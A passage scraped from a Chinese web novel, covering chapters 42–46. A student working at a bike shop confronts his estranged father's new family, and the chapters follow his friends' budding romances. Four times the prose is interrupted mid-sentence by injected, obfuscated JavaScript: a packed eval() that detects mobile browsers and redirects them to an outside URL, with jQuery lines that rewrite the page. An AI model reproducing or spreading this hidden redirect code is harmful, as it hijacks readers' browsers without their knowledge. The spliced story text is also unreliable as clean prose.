吃完午餐后,陈恕看了一眼时间,已经快一点了,山地车专卖店就在这附近,所以他倒也不急。 张期期和林听商量后,准备转移阵地,到附近的图书馆写作业,陈恕自无不可。 一旁的许兰亭扫了陈恕、林听一眼,他们两人都带着书包,但……“期期,你也带了作业吗?”她好像只背了一个小小的存放手机、纸巾的斜挎包吧。 “带了啊。” 许兰亭:?? “带了?在哪里?” 张期期看了他一眼,从斜挎包里拿出几张叠成正方形方块的……试卷。 双手空空的许兰亭:……这也行? “算了,你等会儿借我一张试卷答,回去我再把空白的试卷换给你。” 张期期自无不可,“好。” * 不得不说,一中的选址真是花了大功夫的,除此之外配套的措施也是相当给力。图书馆就在一中附近,张期期、陈恕几人只花了不到十分钟的功夫就到达了图书馆。 他们选了一张靠近落地窗的桌子,张期期、陈恕坐在桌子的一侧,许兰亭、林听坐在桌子的另一侧,男男女女分别面对面着。 午间时刻,一直吝啬出现的太阳终于杀出了乌云的围困之下,阳光斜斜地照射在落地窗上,投下金色绚烂的光芒。 靠窗的桌子旁,阳光慢慢攀爬着,从落地窗慢慢延伸到他们的脚下。 试卷翻动,笔尖摩擦的声音一直在响着,哪怕是平日里不怎么着调的许兰亭都静下了心,凝神做着作业。 少年少女或敛眉细细思考,或笔下不停地计算着题目的答案,这才是正值学生时代他们生活的常态。 时间一分一秒地过去,不甘寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王仁看了陈恕一眼,“原来是你啊。”……原来是这个冤大头想换班。 陈恕神色淡淡、礼貌性地点头。 王仁早就知道他是个闷葫芦,也就歇了想和他聊天的心思,只是强调道:“五点钟的时候,陈先生会来提一辆捷安特atx860,他交了定金1000块,记得和他收取尾款2298块。” 陈恕点头,表示知道了,出于谨慎,他又问道,“哪位陈先生呢?有名字吗?还是手机号码?” 王仁摆摆手,“这我不知道,老板说他来的时候会带着定金的收据,你凭收据认人就行了。好了,我下班了。” - 山地车专卖店老板并不是一整天都在店里的,现下店里就只有陈恕一个人。 此时没有客户上门,陈恕就绕着店内转悠了一圈,他随即皱起了眉头。 ……无论是早班还是晚班,店老板交代过他们,只要下班就必须先将店里的山地车摆放整齐,缺了的自行车型号也要从仓库里找出来补上去摆放着…… 或许是想着晚班的他就要来接班了,反正他下晚班也是要摆放自行车,补上缺少的自行车型号,所以刚才早班的同事并没有严格按照规定将他需要承担的工作落实。 店内山地车乱七八糟地摆放着,大概是早班的时候有客户上门挑选、试骑导致的,陈恕眉眼一冷,若是不收拾的话,晚点有客人上门不小心撞倒或者绊倒就麻烦了…… 思及此,陈恕走过去将乱序摆放的自行车一一摆放整齐来,留出一条可供客人经过的通道。而……那空了型号的自行车类型,他想了想并没有补上去。 43. 第 43 章 - 将山地车专卖店内的一切整理完毕,陈恕终于闲了下来,他没有手机,便只能从书包里拿出学习资料来打发时间。 不知不觉,天际上的浓云再次重聚,随着时间的推移,午间那难得一现炙阳渐渐消失,天色再次灰暗下来。 陈恕抬头看了一眼店内的时钟,都已经五点半了,预约来提山地车的陈先生怎么还没到……他皱了皱眉头,犹豫着是否应该用店内的座机打电话给店老板,问一问是什么情况。 这般想着,店门突然被推开了,陈恕立刻将学习资料放下,余光扫了一眼店门,好像是一家三口。 他下意识站立起身,“欢迎光临,有什么……”需要看看的吗? 少年抬眸,身体瞬间一滞,未尽的话语消失在喉咙里,他站在原地,绷着脸盯着他们看。 一家三口中的中年男人伸手推开门,侧头与身旁的少年说着话,“爸爸答应给你买的车自然会买给你,但是你也得答应爸爸,学习上要认真一点。” 他语气低沉、语速和缓,显得耐心十足,任谁看了都会觉得他是一个好父亲。 “知道了知道了,爸,你好啰嗦啊!真烦!”颇为圆润的少年神色不耐烦道。 “哎!你这小子……” 父子俩说着话,一旁的中年妇女面带笑容地看着他们,“好了好了,别老是对着儿子念念叨叨的。我们家宝已经很听话了。” 眼前的这一幕,恍若甜蜜的一家三口,父子之间的口角更为他们添上甜蜜而烦恼的生活琐碎。 陈恕眼底带着冷意,浑身散发着低气压。 一家三口说完话,纷纷似有所觉地望过去,店内前台处站着身姿挺拔的少年,敞亮的白织灯照耀下,少年眼底的冰冷跃然而上。 中年男人、女人嘴角的笑容顿时僵住,那甜蜜的家庭氛围感在一瞬间支离破碎。 陈恕心中的恶劣在肆虐着,他勾起嘴角,语气平淡地喊了一声,“爸。” 神色不满的少年陈家宝顿时一愣,“爸?什么爸?啊?” 他循着陈恕的目光,看向身旁的父亲。 中年男人神色尴尬,一副点头也不是,不点头也不是的样子,他支支吾吾道,“你、你怎么在这里?” 陈家宝瞪大眼睛,他爸居然没反驳,这……这真是他爸的儿子? 他连忙看向身旁的母亲,他妈铁青着脸,一言不发! 陈家宝顿时急了,“你谁啊!喊谁爸呢?” 他又愤怒地看向他爸,“爸你居然对不起我妈,这是你的私生子?” ……私生子?陈恕心中冷笑。 陈岩一顿,面色难堪,他低声呵斥道,“别乱说!这是你……哥哥。” 陈家宝骂道,“放屁!我他妈哪来的哥哥?” 陈岩再一次大声呵斥:“陈家宝!闭嘴。” 陈家宝大声嚷嚷,直呼他爸的名字,“陈岩,你居然为了一个私生子凶我……” 一时间场面有些鸡飞狗跳,陈恕冷眼看着眼前这一幕,他一点儿都不担心事情闹大,因为……这个女人唯一的软肋就是他儿子,她不会在她儿子面前露出她狰狞的面目。 果然,方才还一脸铁青的中年女人此刻突然拍了拍陈家宝,语气甚至带着歉意,“家宝,别乱说,这是你爸前妻的儿子。” 陈家宝又是一愣,他爸和他妈是二婚的,他自然知道。 小时候,他偶尔会撞见背地里对他家指指点点的人,他们都说他爸带了绿帽子,老婆孩子跟别人跑了,他爸这才二婚娶了他妈妈。 那时候他也跟着在心里咒骂那个瞎了眼的女人,他爸那么好,居然抛弃他爸,但心底里又暗自窃喜,要不是那女人跑了,还真没他亲妈和他了。 然而半年前,一群警察突然来到了他们安置房小区,上门找他爸,小区里几乎都是他们上瑶村的村民,大家知根知底的,所以一发生什么事,整个小区都传遍了。 那时候,他惶恐不安,以为他爸犯事了,于是偷偷躲起来听小区里的大爷大妈议论着,没想到听到的却是那个他曾在心里咒骂瞎了眼的女人死了……甚至十几年前就死了,她根本不是给他爸带了绿帽子和别人私奔了,而是被人杀了…… 至于那个女人听说是有儿子的……他还没听到具体的信息,大爷大妈们就发现他了,便都闭上了嘴。 陈家宝看着眼前的男生,哦……原来这就是那个女人的儿子啊…… 他撇了撇嘴,哦了一声,这能怪谁,那个女人自己命不好,反而害得他爸被人嘲笑议论。既然不是私生子,他也就懒得理了,哥哥什么的,他更不会叫。 陈家宝推了推陈岩的手,“爸,我的山地车你还买不买了?” 陈岩神色缓了缓,道:“买买买,我定金都给了。”他说着,从口袋里掏出粉红色的票联。 陈岩神色讪讪地看向陈恕,“你是在这里……勤工俭学是吧?” ……勤工俭学? 陈恕心中冷嘲一声,他垂眼看着对方手里的粉红色票联,五点钟,所谓的陈先生……原来是他们。 不等陈恕回答,陈岩便探头探脑地看了店内一圈,发现店内真的只有陈恕一人,于是道,“你老板不在啊……是这样的,你看这票联,我给你弟弟在这里定了一辆山地车,定金一千已经交了,今天我们是来提车还有付尾款。” 陈家宝在一旁补充道:“是捷安特atx860.。” 陈岩连忙点头,“对对对,就是这个。你……知道吗?你要是不知道的话,要不你打个电话给你老板,让他过来,我和他是朋友。” 陈恕微微垂眸,夺过他手里的粉红色票联,他语气淡淡,“不用打给我老板,这事我知道。” 他拉开抽屉,将票联放进去,又重新拿了一张数据票单,在上面写下尾款的数额,他一字一顿、嘲讽味十足道,“尾款2298.” ……多可笑啊,陈恕内心寒凉,一辆山地车定金加尾款一共3298块,陈岩可真是个好父亲。 而对方此刻面色讪讪,低头解释道:“小恕啊,之前爸爸投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069019|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资了一笔生意,当时确实是没什么钱。你不要怪……” 陈恕懒得听他继续掰扯,直接打断他的话,“现金还是刷卡?” “……现金吧。”陈岩又从裤袋里掏出早早准备好的一叠钱,递给陈恕。 陈恕接过,垂眼数了数,确定数额正确,他这才将数据票单撕出来放到桌上,“单子拿好。” 中年女人笑着走上前一把将数据单攥在手里,温声说,“小恕在这里上班,要是用你的名字买的话,有没有员工内部折扣啊?” 一辆山地车三千多块钱,即便他们家现在还有几百万的拆迁款,她还是觉得太贵了,因此她这才勉强笑着与这小崽子说话。 陈岩一听,也期待地看着他,要是能省一点儿…… 陈家宝重重地哼了一声,“爸妈你们俩干嘛啊,咱们家又不是没钱,至于搞这个折扣吗?”……真丢人。 陈恕眼眸微抬,这世界上怎么有人能恶心、厚脸皮到这种程度,他冷嗤一声,“不好意思,兼职生没有这种福利。” 中年女人一听,笑容顿时消失,“没有啊,那算了。” 陈恕当着他们的面将点好的钱放入柜子上,用钥匙锁上,又将钥匙随身放在口袋里,“你们等下。” 陈家宝见状,内心不满地嘟嘟囔囔道,“至于一副防贼的样子吗?三千多钱块当谁没有啊!” 陈恕从前台走出来,走到后仓里将那辆捷安特atx860推出来。 陈家宝连忙跑过去,挤开陈恕,“哇,就是这辆,真的太酷啦!” 见儿子高兴的模样,陈岩、中年女人也露出了欣慰的笑容,也行……只要儿子高兴,三千多就三千多吧。 方才已经给他们添了堵,陈恕也无意再多看他们一眼,他转身又站回了前台。 陈家宝迫不及待地抬腿跨坐上山地车,“爸妈,我先走了!我要骑出去兜兜风,一定很爽。” 说完,他踩着山地车飞蹿出了专卖店,店外甚至隐隐约约传来他兴奋的喊叫声,“喔……真酷。” 儿子将他们夫妻俩抛下,自己骑着新买的山地车跑了,陈岩夫妻俩没有一点儿不满。 他看向陈恕,好半响找不到任何话题,“小恕,爸和你阿姨还有点事,就……就先走了。” 他站在这个儿子面前,当对方盯着他看时,他总是莫名觉得无地自容和心虚。 陈岩内心意识到这一点时,顿时有些气恼,于是便强撑着摆出一副长辈的姿态,状若苦口婆心嘱咐他,“小恕,上班要有上班的样子,不能给客人摆着一副臭脸,还有啊,你学习上也要用点心……” 陈恕听着指尖一顿,顿时气笑了,陈岩他哪来的脸在他面前充当长辈,他忍着恶心喊他爸是为了给他们一家人添堵,可不是让他真的以为他自己脸很大,觉得自己就是他陈恕的爸了。 陈岩见陈恕一副笑得直抖的样子,他瞬间脸色铁青,“长辈”的姿态也挂不住了。 “闭嘴,慢走,不送。”陈恕笑完,一字一字冷声说着,指着门口。 44. 第 44 章 - 站在店内前台的少年穿着白色的长袖衬衫,身姿挺拔,面容精致,眼底却带着冰冷。 陈岩夫妻俩面色难看,绷着脸一言不发转身就走,当他们走到山地车专卖店门口,伸手推开玻璃门时,身后传来陈恕的冷声嘲讽。 “我的弟弟可不是陈家宝那样的……他也配?” 这话像是踩到了中年女人心中的巨雷一般,她豁然转身,满脸愤怒,谁都不能骂她儿子。 她指着陈恕喊道:“我家家宝怎么了?我家家宝甩你们兄弟两条街。没教养的东西……有娘生,没……” 随着她的骂声,站在前台处的少年眼神愈加冰冷疯狂,陈岩看得心惊胆战。 ……眼前的陈恕和他记忆里乖巧的孩子一点都不像了,更别说他才只是个半大少年,却能够在十几年后带着警察找到了他妈妈当年被埋葬的抛尸地点。 陈岩眼疾手快地拽过骂骂咧咧的女人,一个劲地推着她往店外走,他低声呵斥道:“别说了,别说了,我们走。” 女人被拽到离店门几米远的街道上,儿子不在眼前了,她也就不再收敛了,女人挣脱陈岩的拖拽,骂道:“一个毛都没长齐的半大孩子,你怕他干嘛!” 陈岩脑海中闪过陈恕的眼神,顿时觉得毛骨悚然,凉意直接蹿到了脑门,他咳了几声,掩饰自己的胆怯,“我哪里怕他,不过是现在他光脚的不怕穿鞋的,我们没必要和他赌啊。” 陈岩一脸苦口婆心的样子,“咱们家宝还小呢,你就算不为自己考虑,也得为家宝考虑考虑啊。十几年了……我看这孩子越来越邪门了。” 中年女人怒火顿时一歇,蓦然想起对方和警察一起前往那抛尸点时的情景,当时她和陈岩远远地站在外围,甚至连看过去都不敢。 无形之中仿佛有一盆冷水浇在心头,中年女人不敢骂陈恕了,反而眉毛一竖,骂起陈岩来,“你当时要是不把一中学位的名额给他,他哪里能留在京照市,就更不会有今天的麻烦事了!” 陈岩不敢说当时得知他前妻早就死亡时,他心中确实有一点愧疚,这才做出了这个决定。 陈岩只能辩驳解释道,“当时事情闹得那么大,我要是不这么做,不补偿他,村里人的唾沫星子就得淹死我,再说了,这学位咱们家家宝也用不上。” ……毕竟一中针对土地被拆迁的上瑶村村民实行的是“一家一户一学位的减分政策”,他们家家宝除非是一中愿意给他减五百多分,他才能够考上。 中年女人顿时一噎,随即又立刻道,“就算家宝用不上,这名额多值钱啊,操作一下卖个几万块都不是问题。” 她越想越气,狠狠地拧了陈岩手臂一下,“我差点忘了,他们也是你儿子。” 陈岩压低声音一脸痛苦,“别拧了……别拧了。家宝才是我儿子,况且……” 他神色莫测,继续道:“况且……也没有他们了……十几年了,陈恕能活着找回来,已经是奇迹了,另外一个我估计是不大可能回来的,还活不活着都不好说。” 中年女人冷哼一声,“都是讨债鬼,怎么当年不跟着那个女人一起死了才好。” 陈岩见她终于不气了,试探着揽住她的肩膀道,“哎,不说他们了,晦气。” * 另一边,图书馆门口。 张家的汽车停在了街道上,李叔站在车子旁看着对面图书馆门口几个少年少女正在说着话。 张期期看见了家里的车,她挥了挥手后,又指了指手机,示意李叔看信息,信息上是她告诉对方再等一下。 李叔回复道好。 张期期这才看向林听:“真不和我们一起吃晚饭再回去吗?” 林听摇了摇头,微笑道,“真的不了,我奶奶一个人在家,午饭她自己吃,晚上我得回去陪她。” “这样啊……那好吧。我们明天见,顺便替我向奶奶问声好。”张期期笑道。 林听点头,“好。” 张期期看向兰亭:“兰亭,我们回去了。” 许兰亭顿了顿,支支吾吾道,“期期,你……你自己回去吧,我、我骑自行车回去就行。” 张期期:? ……今天早上她坐兰亭家的车,他的自行车就放在后备箱。在她的预想里,回去的话,李叔来接她,兰亭应该也会跟她回去,自行车同样放在后备箱里。 她神色诧异,“你今天刚学的自行车,就想自己骑回去了?” 许兰亭神色讪讪,偷偷瞥了一眼旁边的林听,他……他有话想和她说。 准确捕捉到这一幕的张期期:…… 她见许兰亭这么说的时候,林听没有排斥、反对的神色,便道:“……行吧,那……我先走了?你们、路上小心?” 林听笑着点头,还和她拜拜,张期期这才放心离开了。 六点钟整,城市的路灯一瞬间亮了起来,暖黄色的灯光铺洒在街道上,汽车的鸣笛声从远处隐隐约约传来。 图书馆门口只剩下许兰亭、林听二人。 许兰亭抬眸飞快地看了一眼林听,随即眼神闪躲地望向了旁边,他低声道,“我可以送你回去吗?” 不同于少年怯气、眼神闪烁的模样,林听反倒显得镇定,她眼神中带着一丝丝的气馁、无可奈何。 ……明明那么闪耀、健谈、开朗的他,单独和她呆在一起的时候却这么别别扭扭、毫无自信。所以,喜欢她并不好,张扬肆意才应该是他的人生底色。 林听一时没有回答,许兰亭顿了顿,再次鼓起勇气看向她,眼神近乎恳求,“我送你回去,好吗?” 少年的眼神如此炙热,林听仿佛被灼伤似的,她下意识地转移视线。 见状,许兰亭顿时一急,“你答应过的……我学会自行车了,就可以送你回家,我这个车一点都不高调的,很平常很普通,我……” 林听见不得他为了她这样,她视线定在他脸上,神色缓和,“好。” 许兰亭一愣,下意识“啊?”了一声,片刻后,他才反应过来,她说的是“好”,她、她答应了!!! 少年脸上顿时浮现绚烂的笑容,笑意从他的眼底漫延出来。 林听不自觉地笑了下,抬腿跨坐在鞍座上,少女攥着车把手,微笑道,“走吗?” 许兰亭忙不迭地点头,紧跟着骑上自行车,“走走走。” 微凉的风轻轻迎面吹拂,道路两旁是无限延伸、独木成林的“榕树”,路灯被树冠掩盖在其中,暖黄色的灯光下落斑驳的碎片光影。 这条街道已经渐渐远离市中心,安静的街道上偶尔飞驰过几辆极速行驶着的鬼火摩托车,他们改装过的摩托车发出让人侧目的引擎声。 许兰亭看着他们身上的学生校服,那是京照市的另外一所高中——崇文高中的校服,他抿紧了嘴唇,心想,这不科学啊……高中!未成年!为什么能公然在路上飙车。 林听见他侧目望着远去的摩托车飙车党,一副不理解、怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13092652|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑的样子,她轻笑了一声,“很正常,现在是周末、也六点多了,交警不上班,而且这又不是市中心,监管力度自然不够。” 许兰亭眼神疑惑、皱了皱眉毛,“这条路一直都是这样吗?”……为什么他之前送她回家的时候他没见到过。 林听:“不是,周末吧,周末他们比较猖狂。” 许兰亭:周末?难怪他没有撞见过… 想到这里,他蓦然有些担心,不是周末的时候他可以放学送她回家,但周末呢……她要是去兼职回家的路上撞见这些鬼火少年也挺不安全的。 一路上许兰亭都在苦恼,他一直跟着她又不现实,她也未必愿意,而且真这样做了,她一定会生气的。 少年心中唉声叹气…… 良久,林听骑自行车的速度慢慢降了下来,最后停在路边。 许兰亭见状,猛地一个刹车停下来,车子瞬间摇晃了几下,他心中警铃大作,立刻双脚踩在地上维持自行车的平衡。 “怎么了?”许兰亭问道。 林听望向道路的尽头,尽头处再拐一个弯便是崎岖不平的小巷子,那一片住宅都是平房,她家就在那里。 “你送到这儿就行了。” 林听低声说着,要是被她家附近的大爷大妈们看见有男孩子送她回家,相信过不了几天,那片地儿就该出现关于她的疯言疯语了,她可以不在意,但奶奶年纪大了…… 许兰亭一顿,随后缓缓点头,他笑了笑,“好,你自己小心点。” 林听低低地嗯了一声,准备骑上车离开…… “等等。”许兰亭突然道。 林听停下:? 她疑惑地看向朦胧黄色路灯下的少年,光影在他脸上摇曳着。 许兰亭踩了一脚自行车,到了她的身边,“你手机给一下我。” 林听愣了愣,但还是从口袋里拿出来,递给他。 许兰亭接过,立刻在她的通讯录里将自己的手机号码输了进去,甚至还将其设置为通讯录的第一位。搞定之后,他将手机塞在她的手里。 林听愣愣地看着他一气呵成的动作,又低头看了手机里通讯录里的“A兰亭”,她最终还是笑了出来。 笑着笑着,她又慢慢收敛了笑容,眼神变得复杂。 她微微垂下眼帘,睫毛在脸上投下了暗色的阴影,少女轻声道:“兰亭,我说过了,我们真的不是一路人,如果你想从我身上得到同等的情绪价值,那是没有办法的,我们最多只能当朋友,像和期期那样。” ……许兰亭太天真了,如果不是她成绩优异,如果不是他不想进国际班,那么他们之间甚至连认识的机会都没有,这便足以证明他们根本不是一个世界的人。 而贫穷如她,能够给的就只有“喜欢”二字,但这是她仅有的东西,所以她不可能陪他走一段没有结果的路。 许兰亭伸手轻轻点了点她的手臂,林听一顿,下意识抬眸望过去,少年嘴角上扬,眼底尽是灿烂的笑意。 他说,“当朋友就当朋友。” 林听:“真的?” 他点头,“真的!” …… 少女骑着自行车在道路的尽头拐弯,她的身影消失不见,朦胧路灯下少年脸上的笑容消失不见。 ……当朋友就当朋友,反正他们的未来还长着呢!他就不信,一年他追不到她,两年他追不到她,三年、五年、十年呢…… 他不信他一辈子追不上她! 45. 第 45 章 - 今晚八点钟时,店老板来了一趟店里,自然看到了有一辆自行车的型号没有补上去,于是他沉着脸问道:“你卖出去了那一辆,怎么型号还不补上去?” 陈恕先是疑惑地看向对方,随后恍然大悟般又带着歉意道:“哦~那是王仁卖出去的。老板,不好意思啊,我来上班的时候店里太乱了,忙着摆齐山地车,一时间忘记补上去了。” ……王仁上班经常带薪摸鱼,甚至交接班的时候不把自己应该做的事情做好,经常留给来接他班的人。这事连他都知道,其他人会惯着他,但他不会。 店老板一听,脸色越发难看,……好你个王仁,又是这样子。 陈恕见状,立刻道,“老板,我现在就去把山地车的型号补上去。” 他走向后仓,将山地车推出来,摆放到空缺的位置上。 店老板看着,难看的神情终于缓和了一些。 晚上10:45分,陈恕开始打扫店内的卫生、将乱了的自行车全部摆整齐,卖出后缺少的自行车型号也都补上去。 一切收拾完毕后,时间也到了十一点整。陈恕最后将店内的灯光关闭,电闸拉上,大门锁上之后才骑着自行车披着夜色回家。 他照例将自行车搬进出租房后,便赶紧进卫生间洗漱,十二张试卷,他还差三张没有写完。等他从卫生间出来,已经快十二点钟了。 他坐在书桌前,奋笔疾书。 出租屋内的灯光微微闪烁着。许是附近在装修电路,最近出租屋内的电流非常不稳定,陈恕的笔尖一顿,目光从试卷上转移开来,张期期塞给他的MP4和耳机、充电器等等就放在桌面上。 他将耳机带上,看着MP4上面的字幕开始操作起来,片刻后,带着英伦腔的英文流淌在他的脑海里。他企图用MP4中播放的英文来转移自己对于灯光的注意力。 好在他现在答的试卷是语文试卷,所以一边听着英文,也不影响他答题。 陈恕在桌前坐了片刻之后,再次提笔答题。 夜色渐渐深沉,戴着耳机的陈恕并没有听见电灯微弱的“噼里啪啦”声响,片刻后,整个出租屋内猛然一暗。 少年顿时僵在原地,脑海中不断播放着的英文恍若潮水一样渐渐退去。 阳台外银白色的月光倾泻进来,而他身处黑暗之中,他……什么都听不到了,他仿佛再一次回到了十几年前躲身的小柜子里,那条夹缝中透着微光,他看见了妈妈的眼神。 窒息、绝望、和舍不得。 陈恕浑身颤抖起来,上下牙齿互相碰撞着……那些永不褪色绝望、痛苦的情绪包裹着他,仿佛要将他溺毙在其中。 他努力伸出手,想要将妈妈拽回来。这一次他的身边没有弟弟,他不用保护弟弟,不行的话,他可以和妈妈一起走。 黑暗中他伸出去的手打在了书桌置物架上放着的玻璃杯,杯子哐当一声掉落,玻璃碎片飞溅,擦过了他的脸颊。 痛意袭来,陈恕有片刻的清醒。那一刻,他疏忽间听见耳边温暖、绵长的歌唱声。 “在爱的回归线 有期待终会又相见 天会晴,心会暖 阳光在手指间 ……” 期期么?这是期期的歌声。 陈恕一顿,这一刻那些铺天盖地,像潮水涌来的绝望缓缓抽离,他终于抓住了海面上唯一的浮木,从过去的深渊中透出了气。 少女还在唱着,“天会晴,心会暖……” 陈恕喃喃道,“真的天会晴,心会暖吗?” 他闭上眼睛,将自己置身于完全的黑暗之中,他倾听着,一字一句,歌词明明充满了遗憾,但期期却唱出了温暖和期待。 歌曲将要完结的时候,黑暗中滋滋地响了几声,几息后,出租屋内灯光乍亮。 陈恕思似有所觉,他的眼皮微微动了动,缓缓睁开了双眼。 他扯掉一边的耳机,同一栋楼不知是哪家哪户在骂着,“靠!老子洗到一半抹黑洗啊。” “这破电路是越来越不行了……” “……房东真抠啊,就不能修一修。” “……” 白织灯下,陈恕听着这些市井人烟的咒骂声,仿佛再次置身于人间,他微微笑了笑,又将扯掉的耳机再次塞好。 MP4里,期期又换了一首歌。 他将MP4放在口袋里,起身去拿扫把将碎掉的玻璃杯碎片收起来。 ……还好杯子里没有水,陈恕看着书桌上铺开的试卷心道。 他摸了摸耳机,再次坐在书桌前提笔认认真真答题。 * 周一。 京照一中校门口汽车拥堵,也有学生骑着自行车穿梭在汽车的洪流中,他们见缝插针,一时间跑得甚至比汽车还快。 期期坐在车里,前方大概还有几百米的距离便能到校,但这条路几乎堵死了一样,一动不动。 她靠着车窗,窗外还是阴天,京照市的秋雨季节相当长,而当秋雨季结束后,京照市往往是一秒入冬,瞬间下雪。 车窗外,一个清瘦的少年身影出现在汽车自行车车道上,张期期隔着洪流一样的汽车车流一下子便认出了对方。 她迅速摇下车窗,喊道:“陈恕——” 少年下意识地循声望过去,一边刹停了自行车。他于洪流中望见了车窗大开、朝他用力招手的张期期。 世间熙熙攘攘,她再次笑着招手,“陈恕——” 少年的心猛然疯狂地跳动起来,指尖甚者微微颤抖着,蒙在他心上的阴影仿佛被击碎,上面蜿蜒着一道道裂痕,将将要剥落的样子。 他看着她,眼神如有实质般沉重。 张期期顿了顿,眼底疑惑,陈恕像是看到她了,但他怎么一动不动的啊? 哎!少女嘟囔了一声,随后对李叔道:“李叔,我就在这儿下车就行了。” 李叔望了一眼自行车车道上的少年,“也行,这前面太堵了,你走过去都比坐车快。下车小心点啊。” 张期期点头,推开车门,穿过停滞的车流跑到了陈恕的身前。 “陈恕!”她仰着脸笑意盈盈,“我喊你,你怎么不应我啊?” 陈恕点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108562|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头回应她,“嗯”。 张期期无语:……“好吧。” 她围着陈恕绕了半个圈,坐到了自行车的后座上,半响,陈恕毫无动静,跟座雕塑一样。 张期期轻轻点了点他的后腰,催促道:“干嘛呢?快走啊。” 陈恕身体一绷,踩上自行车的脚踏板,“哦。” 一旁的车流还在堵着,越来越多的学生选择了下车走路,人行道在自行车车道的里面,学生陆陆续续穿过自行车车道。 太多行人从他车前穿过,他指尖扣着刹车器,放缓了速度。 陈恕的目光扫过自行车前面的车筐,里面放着他的书包,她轻轻碰在他后腰处的触感仿佛还在。 ……下次他还是把书包背上吧,这样她就只能碰到书包了。 人流汹涌,陈恕骑一会刹一下,骑一会刹一下。 因惯性,张期期时不时地撞在他的后背上,次数多了,连她都忍不住脸红了,脑海中看过的校园言情文开始浮现。 张期期暗自窃喜偷笑,陈恕该不会是故意的吧? 秋雨季节微凉的晨风吹拂着,将前方陈恕的衬衫吹得鼓起来。在这个灰蒙蒙的阴天里,她清晰地闻见了他身上散进风里清冽的雪松味道,仿佛驱散了阴雨天的混沌之感。 她笑着仰头看着雾蒙蒙的天气,天边云朵的边缘慢慢镶上金色的光芒。 “要出太阳了……”她道。 陈恕随意地“嗯”了一声,他无暇抬眸去看看她说的“出太阳”,此时他全身心都在尽力地忽略她撞在他后背时,他心中瞬间犹如被藤蔓攀爬攥紧。 他绕过前方的障碍石球,骑着车到了京照一中的校门口,因为有着学生会的同学维持纪律,校门口正门反而通畅无比。 “陈恕——” “期期——” 身后由远及近传来两声呼唤着,陈恕、期期还未回头,两辆自行车便从他们的身旁驶过,进入校园。 张期期探头一看,“是他们!快快快,追上去。” 驶过他们身边的许兰亭甚至一手握着车把,另一手食指中指并着轻轻点了下额头,向他们飞了个敬礼。 少年的衣摆飞起,笑容张扬。 林听放慢了速度,回头再次喊道:“期期……” 陈恕加速骑着自行车和林听并排着,张期期单手抓着陈恕的衣摆,一边笑着说道,“你俩怎么一起来了?” 林听还未回答,骑过头了的许兰亭已经绕了个弯来到他们身边,“巧合,我们在路上碰见的……” ……没学会骑自行车的时候,他虽然仅在下午放学的时候送她回到家附近,但他早就摸清楚上学的时候她大概会在什么时候出现在前往学校的唯一主干道。 毕竟之前他们还没有换座位,她也还没有坐在他的身边,早上她骑着单车,他坐在慢速的汽车内看着她时,那是他们除了教室之外难得的交集了。 因此今天他踩着点出现在学校前的主干道上时,等了几分钟,果然她就出现了,然后就像他说的“他们在路上碰见的……” 这是他人为制造的巧合。 46. 第 46 章 一中校门口。 “学长?陆学长……” 陆向川顿了下,回过神来,“怎么了?” 说话的是高一的学生,今年刚刚加入学生会纪律部,“没穿校裤是扣两分还是一分?” 学校规定没穿校服扣两分,但眼前被他们逮住的学生倒是穿了一半的校服,对方只穿了上衣,所以他一时也拿捏不好是扣两分还是一分…… 陆向川睨了被逮住的学生一眼,“两分。” 那名学生顿时哭丧着一张脸,想要给自己求求情,但扫了一眼陆向川的神情,他顿时萎了。他乖乖将学生证递给对方,看着对方将自己的年级班级名字都记上去。 ……听说学校最冷面的男生是校草陈恕,但他怎么觉得眼前这个面色阴沉的学生会成员也不逞多让啊! 片刻后,陆向川心不在焉地将学生证递还给对方,他侧头望向校园内,陈恕自行车后座上坐着言笑晏晏的张期期。 他们的自行车驶进校园,期期甚至没有看到站在校门口的他,她的眼里没有一点他存在的痕迹。 陆向川再一次想起他在张家吃饭的那天晚上,张家夫妻之间和乐融融,他们眼底带着宠溺的笑意看着张期期,张期期带着孺慕的眼神望着他的父母,那一幕哪怕是不相关的人在场,都能被沾染上几分幸福的意味。 这么想着,陆向川捏着手中的本子,神色难看……陈恕一出现就想抢走他的希望,他为什么要出现呢? 旁边高一的学生神色困惑,好端端的……怎么陆学长老是走神,还一副咬牙切齿的模样。 * 自行车停在了校内停车棚,张期期从后座上跳下来,偷偷拍了拍被咯疼的屁股。 陈恕、林听、许兰亭将自行车停好,许兰亭打趣道:“期期,你们俩怎么一起来了?”他将话丢回给了张期期。 张期期:…… 